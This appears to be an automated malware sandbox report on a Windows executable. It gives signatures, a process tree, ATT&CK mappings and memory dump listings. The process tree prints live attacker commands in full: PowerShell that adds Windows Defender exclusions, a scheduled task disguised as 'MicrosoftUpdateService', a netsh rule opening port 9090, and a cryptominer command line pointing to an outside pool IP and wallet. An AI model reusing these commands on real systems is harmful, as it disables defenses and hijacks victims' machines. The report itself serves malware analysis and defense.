Analysis
- user interaction
yes - max time kernel
10s - max time network
77s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
05/08/2026, 20:04
General
- Target 7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9.exe
- Size 9.6MB
- Sample260805-ythb1afk7t
- SHA256 7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9.exe"C:\Users\Admin\AppData\Local\Temp\7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /delete /tn "MicrosoftUpdateService" /f2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "MicrosoftUpdateService" /xml "C:\Users\Admin\AppData\Local\Temp\MicrosoftUpdateService.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "MicrosoftUpdateService"3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exeC:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /query /tn "MicrosoftUpdateService"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "MicrosoftUpdateService"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall show rule name="9090"3⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=90903⤵
- Modifies Windows Firewall
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 156.238.234.108:53487 -u 492EmpaZxuwicrMMRYzPmiZjPwYwEntipj663jXCmvzNGP6rmJERhicAptm2etaVgkAv4miL1wqpABjmgUqPUXuVBLFzs1y.rig_cpuc -p c2 -k --cpu-max-threads-hint=50 --http-enabled --http-port=90903⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
MicrosoftUpdateService.xml
__PSScriptPolicyTest_bmqtxqdv.ofx.ps1
MicrosoftUpdateService.exe
memory/948-185-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-180-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-183-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-174-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-177-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-179-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-181-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-190-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-191-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-192-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-193-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-195-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-194-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-172-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-186-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-184-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-187-0x0000026939690000-0x00000269396B0000-memory.dmp
memory/948-182-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-178-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-176-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-175-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-170-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/948-173-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/1316-99-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-96-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-95-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-94-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-92-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-90-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-88-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-89-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-81-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-74-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-82-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/1316-76-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/2816-33-0x000001B669CB0000-0x000001B669CB6000-memory.dmp
memory/2816-29-0x000001B668DC0000-0x000001B668DDC000-memory.dmp
memory/2816-30-0x000001B668DA0000-0x000001B668DAA000-memory.dmp
memory/2816-31-0x000001B669CD0000-0x000001B669CEA000-memory.dmp
memory/2816-32-0x000001B668DB0000-0x000001B668DB8000-memory.dmp
memory/2816-34-0x000001B669CC0000-0x000001B669CCA000-memory.dmp
memory/2816-28-0x000001B668D90000-0x000001B668D9A000-memory.dmp
memory/2816-27-0x000001B6699A0000-0x000001B669A53000-memory.dmp
memory/2816-26-0x000001B668D70000-0x000001B668D8C000-memory.dmp
memory/2816-19-0x000001B64F640000-0x000001B64F662000-memory.dmp
memory/2816-11-0x000001B668DE0000-0x000001B668DF0000-memory.dmp
memory/2816-12-0x000001B668DE0000-0x000001B668DF0000-memory.dmp
memory/2976-6-0x0000000009850000-0x0000000009860000-memory.dmp
memory/2976-64-0x00000000075C0000-0x00000000075C1000-memory.dmp
memory/2976-5-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-2-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-7-0x0000000009680000-0x0000000009732000-memory.dmp
memory/2976-8-0x0000000024A00000-0x0000000024BBE000-memory.dmp
memory/2976-9-0x0000000007600000-0x000000000761A000-memory.dmp
memory/2976-3-0x00007FFFCB760000-0x00007FFFCB770000-memory.dmp
memory/2976-62-0x0000000007530000-0x0000000007531000-memory.dmp
memory/2976-4-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-10-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-65-0x0000000007660000-0x0000000007661000-memory.dmp
memory/2976-1-0x00007FF402BA0000-0x00007FF402F71000-memory.dmp
memory/2976-80-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-61-0x00007FF402BA0000-0x00007FF402F71000-memory.dmp
memory/2976-71-0x0000000008660000-0x0000000008661000-memory.dmp
memory/2976-0-0x0000000000BB0000-0x0000000003B74000-memory.dmp
memory/2976-73-0x0000000008680000-0x0000000008681000-memory.dmp
memory/2976-75-0x0000000008690000-0x0000000008691000-memory.dmp
memory/2976-77-0x00000000086A0000-0x00000000086A1000-memory.dmp
memory/4660-152-0x0000010EBB330000-0x0000010EBB3E3000-memory.dmp
memory/5028-126-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5028-58-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5028-63-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5028-97-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5028-57-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5028-59-0x00000000004A0000-0x0000000003464000-memory.dmp
memory/5108-134-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-133-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-130-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-132-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-131-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-128-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-127-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-129-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-135-0x0000000000400000-0x00000000033C4000-memory.dmp
memory/5108-138-0x000001AB48C60000-0x000001AB48C72000-memory.dmp